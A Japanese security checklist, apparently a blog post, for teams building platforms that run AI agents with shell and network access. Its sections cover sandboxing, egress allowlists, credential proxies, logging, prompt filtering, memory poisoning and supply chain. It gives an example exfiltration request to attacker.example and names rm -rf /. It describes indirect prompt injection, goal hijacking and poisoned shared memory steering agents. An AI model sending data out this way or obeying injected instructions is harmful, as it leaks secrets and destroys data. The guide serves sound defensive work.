Skip to main content
Claude Agent SDKやOpenClawをベースにした最新のAIエージェントは、初期状態からファイルシステム・シェル・ネットワークへの広範なアクセスを前提としています。これを実運用するには専用の実行基盤と強いセキュリティ制御が必要です。Agent Platformの構築者が主要なセキュリティ課題を網羅できているかを確認するための観点を整理します。

1. サンドボックスによる隔離

エージェントの実行環境を分離し、事故や攻撃の影響をサンドボックスの中に閉じ込めます。

1セッション1環境

AIエージェントのセッションごとに、独立したコンテナまたはVMを使い捨ての環境として割り当てます。複数のエージェントが同じ環境を共有すると、あるエージェントのファイル編集が別のエージェントの編集と衝突します。認証情報もセッションをまたいで混線し、どのエージェントが何をしたのかを追跡できなくなります。環境にはFirecrackerのようなmicroVM、DockerやPodmanのコンテナ、AWS Lambda・ECS・Google Cloud Run・GKEなどのマネージドサービスが選択肢になります。セッション終了時には環境を破棄します。

影響範囲の封じ込め

シェルを扱えるAIエージェントは任意のコマンドを実行できます。隔離がなければ1度の誤りやPrompt Injection攻撃でホストのファイルが失われ、他のワークロードにも影響が及びます。rm -rf /のような破壊的な操作を行ってもサンドボックス内に影響が閉じるよう、可能な範囲でルートファイルシステムを読み取り専用にし、書き込みが必要な作業ディレクトリだけをマウントします。不要なLinux capabilityをすべて削除し、コンテナ内では非rootユーザーで実行します。

2. ネットワーク制御

エージェントの外向き通信を制限し、データ持ち出しの経路を塞ぎます。

通信先の許可リスト

Indirect Prompt Injection攻撃を受けたAIエージェントは、curlや任意のHTTPライブラリを使って攻撃者のエンドポイントへ機密データを送信できます。https://attacker.example/collect?data=<secret>のような単純なリクエスト1つで情報が外へ出ます。そこで外部への通信先をドメインベースの許可リストに限定します。Codingエージェントであればgithub.comnpmjs.orgpypi.org・自組織のコンテナレジストリなど必要な宛先だけを許可し、それ以外の外向き通信はすべて拒否します。Google CloudではFQDNルールを持つCloud NGFW、AWSではVPCとフォワードプロキシの組み合わせが使えます。

HTTPレベルの検査

ドメインの許可リストだけでは、許可済みドメインに対するURLパラメーターやヘッダー・ボディを使ったデータ持ち出しを防げません。機密性の高い環境ではSquidやEnvoyなどのフォワードプロキシを経由させ、リクエストのURL・ヘッダー・ペイロードを検査して記録します。データ持ち出しの兆候を含むリクエストは遮断します。

3. 認証情報の管理

エージェントに渡す権限と認証情報を絞り、流出したときの被害を抑えます。

最小権限の原則

AIエージェントは与えられた権限の中で実行可能なすべての処理を行うという前提に立つべきです。過剰な権限はPrompt Injectionや誤動作による被害をそのまま拡大します。認証情報を渡す前にどのリソースへどの操作が必要かを文書化し、書き込みが明確に必要でない限り読み取り専用に絞ります。複数ユーザーが使うエージェントでは、エージェントの権限が個々の利用者の権限を超えないことも確認します。詳細はConfused Deputy Problemを参照してください。

認証情報の短期化

長期間有効なAPIキーは、Prompt Injectionやログ経由で流出すると有効期限まで悪用され続けます。LLMの支援を得た攻撃では侵入から管理者権限の取得までが数分で進みます。エージェントへ渡す認証情報はすべて1時間程度で失効する短期のものにし、Workload IdentityによるOIDCベースのトークン交換で発行します。GitHubであればPersonal Access Tokenではなく、有効期限1時間のGitHub Appインストールアクセストークンを使います。長期間有効なAPIキーをエージェントの環境に置いてはいけません。

認証情報付与プロキシ

短期の認証情報でも有効な間は流出しえます。エージェントが認証情報を一切保持しなければ、直接流出のリスクはほぼ消えます。WardGateのような認証情報付与プロキシを置き、エージェントからの外向きHTTPリクエストに認証ヘッダーを後付けして転送します。エージェントはプロキシのURLだけを知り、認証情報には触れません。エージェントのネットワーク内からのみ到達できる認証なしのリモートMCPサーバーを用意する方法もあります。

長期鍵を使わないコミット署名

署名付きコミットを必須とする組織は多い一方、GPG鍵やSSH鍵は長期間有効で機密性が高く、サンドボックスに置くと格好の標的になります。GitHubのGraphQL APIでコミットを作成すると自動的に署名が付くため、これをCLI化したghcommitを有効期限1時間のGitHub Appインストールアクセストークンと組み合わせれば、鍵を環境へ置かずに署名できます。

リソースの復旧可能性

AIエージェントは誤った更新や削除を行います。サードパーティのサービスでは、失われたデータをサービス自体の機能では戻せない場合があります。エージェントが変更・削除できるリソースには復旧手段を用意し、エージェントが動く前のリソースの状態をスナップショットやバックアップとして保持します。ソースコードではBranch Rulesetでデフォルトブランチへの直接pushを禁止し、PRレビューを必須にします。メール送信のように取り消せない操作にはHuman-in-the-Loopを組み込みます。

4. 可観測性

エージェントの挙動を複数の層で記録し、調査と検知を成立させます。

AIエージェントの行動ログ

インシデント時には、エージェントがいつ何をどのパラメーターで実行したかを正確に再構成する必要があります。行動ログがなければ調査は成立しません。ツール呼び出し・コマンド実行・MCPサーバー呼び出しをすべて時刻付きで記録できるよう、行動ログの出力をエージェントの実装に組み込みます。Claude Code CLIのclaude -pのように標準出力へ出ない場合は~/.claudeディレクトリのログを回収します。保管先は追記のみ可能な集約ログストアとし、保持期間を定めます。

LLM APIプロキシのログ

LLM層のログにはエージェントの推論と判断の過程が残ります。なぜその行動を取ったのかを理解するにはこの記録が要ります。LiteLLMなどのプロキシ経由でLLM APIを呼び出し、プロンプト・応答・トークン数・レイテンシを記録します。危険な応答をポリシーで検知して停止するcencurityのような仕組みの併用も検討します。

AIエージェントの計測

個々のLLM呼び出しを見るだけでは全体像が掴めません。どのツールがどの順で呼ばれ、コンテキストがどう流れ、どこで失敗したのかを追う必要があります。Datadog LLM ObservabilityLangSmithArize Phoenixなどの計測ライブラリをエージェントのフレームワークに組み込み、複数ステップにまたがる処理をトレースします。

ランタイムセキュリティ

LLM層の監視だけでは捕捉できない脅威があります。悪意あるコマンドの実行・ハルシネーションで生まれたパッケージの導入・想定外のプロセス起動はOSレベルでしか見えません。Falcoなどのランタイムセキュリティツールをサンドボックス内で動かし、コマンドやプロセスを監視します。誤検知が多いためルールの調整が前提になります。存在しないパッケージ名を導入してしまうslopsquattingのようなサプライチェーンリスクも監視対象に含めます。

5. Prompt Filtering

入出力のフィルタリングを備えつつ、それだけに頼らない防御を組み立てます。

プロンプトガードレールの有効化

プロンプトフィルタリングはPrompt Injection・プロンプト経由の情報流出・有害な出力に対する最低限の防御線になります。入力と出力の双方に適用します。Google CloudではModel Armor、AWSではBedrock Guardrailsを有効化します。複数のエージェントへまとめて適用するならLiteLLM Guardrailsのようにプロキシ層で実装します。

フィルタリングに依存しない多層防御

プロンプトフィルタリングで攻撃を完全に防ぐことはできません。Agent Goal Hijackのように正規の命令の形をした攻撃は、直接的な命令の上書きより検知が困難です。フィルタリングは多層防御の1層と位置づけ、ここまでに挙げた最小権限・認証情報付与プロキシ・通信先の許可リスト・Human-in-the-Loopといった基盤側の制御を主たる対策とします。フィルタリングは分かりやすい攻撃を止め、基盤の設計は巧妙な攻撃の被害範囲を抑えます。

6. 長期間有効な共有LLMメモリ

セッションを越えて残るLLMメモリの汚染に備えます。

メモリのネームスペース分離

複数のエージェントが同じメモリ空間を共有すると、Indirect Prompt Injectionで混入した1件の汚染が長期間残り、参照したすべてのエージェントへ広がります。Zombie Agentsが示した攻撃です。LLMメモリはエージェントまたはセッション単位でネームスペースを厳密に分けます。共有が避けられない場合は、書き込み時にフィルタリングやHuman-in-the-Loopで内容を検証します。

メモリの監査ログ

メモリが汚染されたとき、どのエージェントがいつ書き込み、どのエージェントがそれを読んだのかを遡る必要があります。読み書きのたびにエージェントID・セッションID・時刻・内容のハッシュを記録し、異常な書き込みパターンにはアラートを設定します。

7. サプライチェーンセキュリティ

エージェントを構成するコンポーネントの信頼性を確保します。

コンポーネントの検証

Agent Platformは大きな権限を扱います。サプライチェーン上のフレームワークやMCPサーバーが侵害されると、認証情報の窃取やデータ流出に直結します。AIエージェントフレームワーク・MCPサーバー・Agent Skillの出所を確認し、依存関係を正確なバージョンまたはコンテンツハッシュで固定します。定期的な棚卸しと更新を行い、コンテナイメージは可変のタグではなくダイジェスト(image@sha256:...)で指定します。

設定ファイルの読み取り専用化

侵害されたエージェントが自身の設定を書き換えると、権限を広げたり悪意ある設定を次のセッションへ残したりできてしまいます。設定ファイルの領域は読み取り専用でマウントします。セッションごとに信頼できる元から設定を生成し、前のセッションのファイルシステムを再利用しません。

8. 基盤自体のアクセス管理

エージェントではなく、基盤そのものへのアクセスを統制します。

エンドポイントの認証

認証なしでGatewayを公開すると、誰でもエージェントを起動して認証情報を持ち出したり、セッションを遠隔操作したりできます。OpenClawで最も深刻だった問題がこれです。Google Cloud IAPのようなIdentity-Aware Proxyの背後にGatewayを置き、すべての操作でユーザー認証を要求します。制御用のエンドポイントを直接インターネットへ晒してはいけません。

基盤アクセスの監査ログ

監査ログはインシデント調査・コンプライアンス・ガバナンスの前提になります。セッション作成・指示の送信・結果の取得といった利用者の操作について、利用者のidentity・時刻・操作種別・セッションIDを記録します。組織のSIEMと連携して一元的に監視します。

参考文献